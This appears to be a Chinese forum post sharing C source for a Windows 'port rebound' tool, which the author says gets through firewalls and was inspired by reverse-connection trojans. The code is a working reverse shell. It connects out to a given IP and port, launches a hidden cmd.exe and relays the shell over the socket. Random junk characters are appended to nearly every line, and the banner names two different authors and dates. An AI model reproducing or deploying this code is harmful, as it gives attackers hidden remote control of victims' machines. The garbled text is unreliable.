Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 V7WL Gy.,  
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/* ============================== O _9r-Zt^  
Rebound port in Windows NT db
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By wind,2006/7 q{h,}[U=  
===============================*/ JWHsTnB  
#include ZV{C9S&  
#include |47t+[b  
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#pragma comment(lib,"wsock32.lib") k -G9'c~  
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void OutputShell(); ;MeY@*"{  
SOCKET sClient; vyS>3
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |ru!C(  
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void main(int argc,char **argv) ?Tc|3U  
{ @95p[  
WSADATA stWsaData; <,$*(dX)(  
int nRet; Rir0^XqG  
SOCKADDR_IN stSaiClient,stSaiServer; NrS+N;i  
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if(argc != 3) <yl@!-'J7  
{ oL9<Fi  
printf("Useage:\n\rRebound DestIP DestPort\n"); }Rz,}^B  
return; g5U,   
} :.=:N%3[  
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WSAStartup(MAKEWORD(2,2),&stWsaData); vRtERFL  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); > 3x^jh  
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stSaiClient.sin_family = AF_INET; a5Vlfx  
stSaiClient.sin_port = htons(0); r1F5'?NZ(0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G1it 3^*$  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  6 wd  
{ V=fu[#<@Ig  
printf("Bind Socket Failed!\n"); lZ5-lf4  
return; K'2N:.D:  
} }WJXQ@  
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stSaiServer.sin_family = AF_INET; NI"Zocp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '`k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8\E=p+C  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u gRyUny  
{ 4 dHGU^#WZ  
printf("Connect Error!"); !0^4D=dO  
return; zEQQ4)mA  
} %{
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OutputShell(); %o/@0.w  
} +z9BWo!{I  
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void OutputShell() qPi $kecx  
{ >=rniHs=?7  
char szBuff[1024]; ~YNzSkz  
SECURITY_ATTRIBUTES stSecurityAttributes; A##Q>|>)  
OSVERSIONINFO stOsversionInfo; ~
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tag)IWAiE  
STARTUPINFO stStartupInfo; ,h%n5R$:  
char *szShell; A"DGn  
PROCESS_INFORMATION stProcessInformation; *fd:(dN|  
unsigned long lBytesRead; 6(\-aH'Ol  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T+0z.E!~I  

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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r_ m|?U %  
stSecurityAttributes.lpSecurityDescriptor = 0; ve a$G~[%6  
stSecurityAttributes.bInheritHandle = TRUE; s,C>l_4-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Eb5>c/(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _Q\rZ l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _;BNWH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /Re67cMQ*  
stStartupInfo.wShowWindow = SW_HIDE; C<QpUJ`k  
stStartupInfo.hStdInput = hReadPipe; ?=?*W7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @G=:@;  
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GetVersionEx(&stOsversionInfo); vGH]7jht  
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switch(stOsversionInfo.dwPlatformId) d]_].D$  
{ iN Lt4F[i  
case 1: $+{o*  
szShell = "command.com"; DjZTr}%q  
break; I8W9Kzf  
default: ndBqXS  
szShell = "cmd.exe"; z{NK(oW  
break; fP;I{AiN~  
} SoCN.J30  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E-9>lb  
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send(sClient,szMsg,77,0); +5GC?cW  
while(1) 't\sXN+1  
{ !}eq~3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C3<_0eI  
if(lBytesRead) kmJ<AnK  
{ d.>O`.Mu)}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |<8g 2A{X  
send(sClient,szBuff,lBytesRead,0); aO:A pOAO  
} UBuG12U4Y  
else dDYor-g>  
{ obX2/  
lBytesRead=recv(sClient,szBuff,1024,0); >^f]Lgp  
if(lBytesRead<=0) break; ;$r!eFY;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hg^klQD  
} pL.~z  
} dKPx3Y'  
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return; JS >"j d#  
}